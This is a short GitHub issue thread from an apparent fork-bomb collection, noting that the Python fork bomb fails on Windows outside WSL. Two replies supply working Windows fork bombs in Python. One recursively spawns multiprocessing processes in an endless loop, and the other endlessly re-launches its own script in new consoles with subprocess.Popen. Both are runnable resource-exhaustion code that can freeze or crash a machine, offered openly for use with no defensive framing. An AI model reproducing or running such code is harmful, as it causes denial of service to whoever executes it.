fork-bomb icon indicating copy to clipboard operation
fork-bomb copied to clipboard

python's fork bomb won't work on windows (unless its wsl)

Open timelessnesses opened this issue 3 years ago • 2 comments

timelessnesses avatar Oct 16 '22 13:10 timelessnesses

For Windows:

import multiprocessing

def forkbomb():
    while True:
        p = multiprocessing.Process(target=forkbomb)
        p.start()

if __name__ == '__main__':
    forkbomb()

K0-RR avatar Feb 24 '23 14:02 K0-RR

I guess this code (below) is much better on Windows:

import subprocess, sys
while True:
    subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)

AliAlmasi avatar May 07 '24 09:05 AliAlmasi